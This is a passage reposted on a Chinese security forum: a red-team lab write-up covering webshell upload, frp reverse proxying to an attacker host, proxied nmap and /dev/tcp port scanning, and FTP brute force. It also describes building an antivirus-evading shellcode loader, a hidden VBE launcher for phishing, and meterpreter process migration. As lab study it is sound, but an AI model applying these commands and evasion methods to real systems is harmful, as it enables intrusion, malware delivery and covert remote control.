搜索

[16382] 2021-01-30_红队基操系列：流量代理、免杀钓鱼

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2021-01-30_红队基操系列：流量代理、免杀钓鱼 红 队 基 操 系 列 ： 流 量 代 理 、 免 杀 钓 鱼 P 1 c k e r   F r e e B u f   2 0 2 1 - 0 1 - 3 0 本 次 渗 透 测 试 初 衷 是 自 建 靶 场 ， 研 究 下 内 网 流 量 代 理 及 免 杀 马 钓 鱼 ， 初 步 测 试 完 后 索 性 多 做 几 步 ， 形 成 一 个 较 为 完 整 的 全 流 程 渗 透 过 程 。 郑 重 申 明 ： 本 文 分 享 的 所 有 信 息 技 术 仅 用 于 学 习 教 育 之 目 的 ， 所 有 攻 击 目 标 均 为 笔 者 自 行 搭 建 ， 如 文 中 技 术 被 应 用 于 任 何 其 他 目 标 ， 本 人 概 不 负 责 。 如 需 转 载 ， 请 注 明 出 处 ！ 模 拟 环 境 模 拟 环 境 C 2 攻 击 机 - k a l i ： e t h 0   1 9 2 . 1 6 8 . 6 6 . 1 2 8 企 业 公 网 入 口 - w e b 服 务 器 w i n 1 0 ： e t h 0   1 9 2 . 1 6 8 . 6 6 . 1 3 2 / e t h 1   1 9 2 . 1 6 8 . 6 7 . 1 3 2 企 业 内 网 - 内 网 主 机 w i n 1 0 ： e t h 1   1 9 2 . 1 6 8 . 6 7 . 1 3 3 最 终 目 标 最 终 目 标 拿 下 w e b 服 务 器 权 限 ， 通 过 w e b 服 务 器 流 量 转 发 及 免 杀 马 内 网 钓 鱼 ， 实 现 C 2 客 户 端 对 内 网 主 机 的 远 控 。 渗 透 过 程 渗 透 过 程 w e b s h e l l 获 取 获 取 w e b 服 务 存 在 上 传 漏 洞 ( 毕 竟 是 文 件 上 传 靶 场   ) ， p h p 马 上 传 获 取 w e b s h e l l
内 网 流 量 转 发 内 网 流 量 转 发 w e b 服 务 器 存 在 两 张 网 卡 e t h 0   e t h 1 ， 推 测 存 在 内 部 网 络 ， 网 段 1 9 2 . 1 6 8 . 6 7 . 0 / 2 4 c m d   p i n g 全 网 段 继 续 利 用 上 传 漏 洞 ， 上 传 n e t c a t （ 假 使 它 不 会 被 杀 掉   ） , 使 用 n c 传 回 a c t . t x t （ 考 虑 免 杀 ， 也 可 以 利 用 w e e v e l y 自 带 的 d o w n l o a d 模 块 下 载 文 件 到 本 地 ） 内 网 段 存 活 主 机 1 9 2 . 1 6 8 . 6 7 . 1 3 3 f r p   端 口 转 发 - c 2 攻 击 机 要 连 通 内 网 机 ， 需 w e b 服 务 器 做 代 理 转 发 ， 使 用 f r p 做 反 向 代 理 n c 传 f r p _ w i n _ a m d 6 4 至 跳 板 机 ， c 2 攻 击 机 使 用 f r p _ l i n u x _ a m d 6 4 与 之 通 信 上 传 u n z i p . e x e ， c m d 解 压 文 件 夹 @ f o r   / l   % i   i n   ( 1 , 1 , 2 5 5 )   d o   @ p i n g   - n   1   - w   4 0   1 9 2 . 1 6 8 . 6 7 . % i   &   i f   e r r o r l e v e l   1   ( e c h o   1 9 2 . 1 6 8 . 6 7 . % i > > n a . t x t )   e l s e   ( e c h o   1 9 2 . 1 6 8 . 6 7 . % i > > a c t . t x t )
f r p   c l i e n t ( 跳 板 机 ) & s e r v e r ( 攻 击 机 ) 配 置 如 下 ： s e r v e r 端 开 启 本 地 7 0 0 0 端 口 监 听 ， 连 接 密 钥 设 置 为 p i c k ； c l i e n t 设 置 远 程 连 接 目 标 I P 及 端 口 ， 设 置 密 钥 （ 与 s e r v e r 相 同 ） , 设 置 连 接 端 口 协 议 为 t c p ， 本 地 端 口 3 3 3 4 ， 连 接 目 标 端 口 3 3 3 5 ， 设 置 s o c k s 5 代 理 ， 使 得 不 同 协 议 流 量 可 以 使 用 绑 定 端 口 通 信 。 启 动 f r p c & s 本 地 使 用 p r o x y c h a i n s 作 流 量 代 理 ， 配 置 如 下 b i n g o ， t e l n e t 成 功 连 接 到 内 网 主 机 开 启 端 口 ， 流 量 代 理 成 功 走 代 理 的 端 口 扫 描 走 代 理 的 端 口 扫 描 使 用 n m a p 走 代 理 扫 描 # 服 务 端 # # 设 置 连 接 端 口 及 连 接 密 钥 r o o t @ k a l i : ~ / f r p _ 0 . 3 4 . 3 _ l i n u x _ a m d 6 4 #   c a t   f r p s . i n i   [ c o m m o n ] b i n d _ p o r t   =   7 0 0 0 t o k e n = p i c k # 客 户 端 ( 建 议 本 地 修 改 完 上 传 ) # # 设 置 连 接 目 标 ( 攻 击 机 ) i p : p o r t 及 连 接 密 码 # # 设 置 端 口 协 议 C : x x x u p l o a d f r p _ 0 . 3 4 . 3 _ w i n d o w s _ a m d 6 4 > t y p e   f r p c . i n i t y p e   f r p c . i n i [ c o m m o n ] s e r v e r _ a d d r   =   1 9 2 . 1 6 8 . 6 6 . 1 2 8 s e r v e r _ p o r t   =   7 0 0 0 t o k e n = p i c k [ h a h a ] t y p e   =   t c p l o c a l _ i p   =   1 2 7 . 0 . 0 . 1 l o c a l _ p o r t   =   3 3 3 4 r e m o t e _ p o r t   =   3 3 3 5 p l u g i n = s o c k s 5 # 服 务 端 . / f r p s   - c   f r p s . i n i   # 客 户 端 . f r p c . e x e   - c   f r p c . i n i
显 示 主 机 p i n g 不 通 ， 因 为 s o c k s 没 法 代 理 i c m p 流 量 加 - P n ， 不 检 测 主 机 存 活 ， 结 果 如 下 扫 描 结 果 与 主 机 实 际 端 口 开 启 情 况 不 符 ， - P n 扫 描 任 意 不 存 在 主 机 都 是 这 个 结 果 ， 如 下 图 通 过 本 地 代 理 连 接 到 扫 出 来 的 o p e n   p o r t 均 超 时 。 那 么 正 确 的 扫 描 姿 势 是 什 么 呢 ？ 前 面 已 经 尝 试 过 了 ， 使 用 t e l n e t 是 可 以 正 常 连 接 2 1 端 口 的 ， 换 而 言 之 ， t c p 三 次 握 手 是 可 以 走 代 理 完 成 的 ， 那 么 指 定 n m a p 使 用 t c p 全 连 接 模 式 试 试 ， 加 - s T 参 数 b i n g o , 成 功 扫 描 到 内 网 主 机 端 口 信 息 ! （ 记 得 s t d e r r 丢 到 位 桶 ， 不 然 会 输 出 接 近 1 0 0 0 行 的 连 接 t i m e o u t   ） 其 实 如 果 n m a p 用 不 好 （ 说 的 就 是 你 ， 渗 透 大 师   ） ， 6 5 5 3 5 次 t c p 连 接 测 试 也 不 失 为 一 种 解 决 方 法 ， 下 面 是 来 自 热 心 网 友 的 d e m o （ 原 谅 我 ， 没 找 到 原 文 链 接 ） 。 原 理 是 利 用 了 b a s h 的 网 络 请 求 接 口 ， 会 向 I P : P O R T 发 起 连 接 。 / d e v / t c p e c h o   >   / d e v / t c p / I P / P O R T # ! / b i n / b a s h P O R T _ L I S T = " 4 4 5   4 4 3   1 3 5   6 0 0 0   6 0 0 1   6 0 0 2   6 0 0 3   2 1   6 0 0 4   6 0 0 5   6 0 0 6   6 0 0 7   6 0 0 8   6 0 0 9   6 0 1 0 "
n m a p 探 测 发 现 内 网 主 机 开 启 f t p 服 务 ， h y d r a 爆 破 登 陆 成 功 ， 但 执 行 命 令 报 错 浏 览 器 访 问 f t p 服 务 器 可 以 正 常 上 传 下 载 上 传 木 马 ， 钓 鱼 内 网 主 机 分 离 免 杀 马 分 离 免 杀 马 R E M O T E _ H O S T = 1 9 2 . 1 6 8 . 6 7 . 1 3 3 T I M E O U T _ S E C = 5 f o r   P O R T   i n   $ P O R T _ L I S T d o         t i m e o u t   $ T I M E O U T _ S E C   b a s h   - c   " < / d e v / t c p / $ R E M O T E _ H O S T / $ P O R T "   & > / d e v / n u l l ;   r e s = $ ?         i f   [ [   $ r e s   - e q   0   ] ]         t h e n                 e c h o   " $ P O R T   O P E N "         e l i f   [ [   $ r e s   - e q   1   ] ]         t h e n                 e c h o   " $ P O R T   O P E N   B U T   N O T   L I S T E N "         e l i f   [ [   $ r e s   - e q   1 2 4   ] ]         t h e n                 e c h o   " $ P O R T   N O T   O P E N "         e l s e                 e c h o   " $ P O R T   U N K O N W N   E R R O R "         f i d o n e
钓 鱼 的 恶 意 程 序 得 做 下 免 杀 了 ， 不 然 评 论 区 要 说 我 水 文 章 了 。 学 习 过 t i d e 团 队 b y p a s s A n t i V i r u s 系 列 文 章 ， 非 常 系 统 地 介 绍 了 公 开 的 免 杀 方 法 原 理 和 免 杀 工 具 使 用 ； 笔 者 尝 试 了 文 章 中 大 多 数 免 杀 工 具 ， 遗 憾 的 是 均 已 被 加 入 各 大 杀 软 特 征 库   。 所 以 自 己 动 手 ， 才 能 丰 衣 足 食 。 这 次 手 敲 一 个 基 础 的 分 离 免 杀 d e m o ， 原 理 是 把 s h e l l c o d e 放 到 t x t 等 非 P E 文 件 里 ， 加 载 器 从 t x t 中 读 取 s h e l l c o d e 执 行 。 首 先 是 s h e l l c o d e ， m s f v e n o m 直 接 生 成 即 可 ， e n c o d e r / b a d c h a r 都 不 用 考 虑 ， 非 P E 文 件 天 生 免 杀 ； 要 注 意 攻 击 机 连 通 内 网 机 是 需 要 跳 板 转 发 的 ， 本 次 试 验 使 用 m e t e r p r e t e r _ b i n d _ s h e l l ， m s f 走 p r o x y c h a i n s 代 理 即 可 。 然 后 先 说 s h e l l c o d e 的 执 行 吧 ， 最 简 单 的 方 法 是 使 用 内 联 汇 编 实 现 ， j m p 到 代 码 区 头 即 可 ； 此 外 还 可 以 使 用 V i r t u a l A l l o c 分 配 内 存 区 后 ， 将 s h e l l c o d e 拷 贝 ( m e m c p y ) 至 内 存 区 ， 定 义 函 数 指 针 指 向 内 存 区 ， 执 行 函 数 即 可 执 行 s h l l c o d e ; 最 后 关 于 读 机 器 码 进 数 组 ， 稍 微 费 事 些 。 首 先 应 使 用 c h a r 数 组 ， 每 个 成 员 一 字 节 大 小 ， 正 好 存 下 一 个 十 六 进 制 机 器 码 ， 单 个 数 组 成 员 太 长 还 需 考 虑 大 小 端 序 问 题 ； 再 使 用 f r e a d 读 一 字 节 机 器 码 进 内 存 ， 循 环 拷 贝 给 数 组 即 可 ； 强 烈 建 议 利 用 动 调 完 成 整 个 s h e l l c o d e 的 加 载 与 执 行 ， 可 以 免 去 很 多 弯 路 。 （ 源 码 或 编 译 好 的 e x e ， 后 面 会 同 步 到 g i t h u b 上 ， 这 里 暂 不 放 出 ） 下 面 是 生 成 好 的 加 载 器 l o a d e r . e x e ， 免 杀 火 绒 / 3 6 0 本 地 运 行 l o a d e r . e x e ， 会 加 载 同 目 录 下 的 1 . b i n 执 行 ； 不 过 运 行 期 间 会 有 d o s 窗 口 ， 可 以 再 写 个 v b e 脚 本 调 用 ， 隐 藏 d o s 内 网 主 机 上 线 内 网 主 机 上 线 f t p 上 传 l o a d e r . e x e + 1 . b i n + c l i c k m e . v b e （ 实 际 钓 鱼 的 时 候 建 议 起 个 好 名 字   ） s e t   W s h S h e l l   =   W S c r i p t . C r e a t e O b j e c t ( " W S c r i p t . S h e l l " ) W s h S h e l l . R u n   " l o a d e r . e x e   / s t a r t " , 0
本 地 使 用 代 理 启 m s f 设 置 如 下 本 地 启 连 接 ， 静 待 内 网 机 上 线 鱼 儿 上 钩 至 此 ， 就 已 经 完 成 了 本 次 试 验 的 全 部 目 标 ， 成 功 上 线 内 网 主 机 ， 然 后 后 渗 透 环 节 … 要 干 的 事 就 更 多 了 ， ， 比 如 咱 们 马 的 进 程 l o a d e r . e x e 随 时 有 被 k i l l 的 可 能 ， 利 用 m e t e r p r e t e r 模 块 m i g r a t e 可 以 很 方 便 的 完 成 进 程 迁 移 查 看 内 网 机 当 前 进 程 ， l o a d e r . e x e   p i d 是 6 0 3 2 ， 迁 移 到 2 3 2 4   o n e d i r v e . e x e 吧
再 看 进 程 已 经 没 有 l o a d e r . e x e 了 ， 但 咱 们 的 s h e l l 依 旧 稳 定 连 接 ， 实 现 了 一 定 程 度 上 的 r o o t k i t 。 总 结 总 结 本 次 自 搭 靶 场 ， 重 点 试 验 了 流 量 转 发 、 分 离 免 杀 、 内 网 钓 鱼 等 渗 透 技 术 ， 成 功 实 现 了 一 次 整 体 上 较 为 接 近 实 际 场 景 的 渗 透 测 试 ； 当 然 也 留 下 了 很 多 值 得 琢 磨 的 地 方 ， 比 如 n e t c a t 过 不 了 杀 软 、 如 何 实 现 此 类 常 用 h a c k 工 具 的 模 改 免 杀 ， 比 如 n m a p 走 代 理 扫 描 时 ， - s S / - s A / - s F 均 失 效 ， 只 有 全 连 接 生 效 ， 原 因 是 什 么 ， 比 如 如 何 利 用 p d f / w o r d 实 现 更 有 效 的 钓 鱼 攻 击 … 待 笔 者 进 一 步 研 究 后 再 与 诸 君 分 享 。 对 于 内 网 渗 透 ， 笔 者 亦 属 于 新 手 ， 日 常 渗 透 工 作 更 偏 重 于 外 围 打 点 ； 文 中 如 有 任 何 不 当 之 处 ， 还 望 各 位 不 吝 斧 正 。 精 彩 推 荐 精 彩 推 荐
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理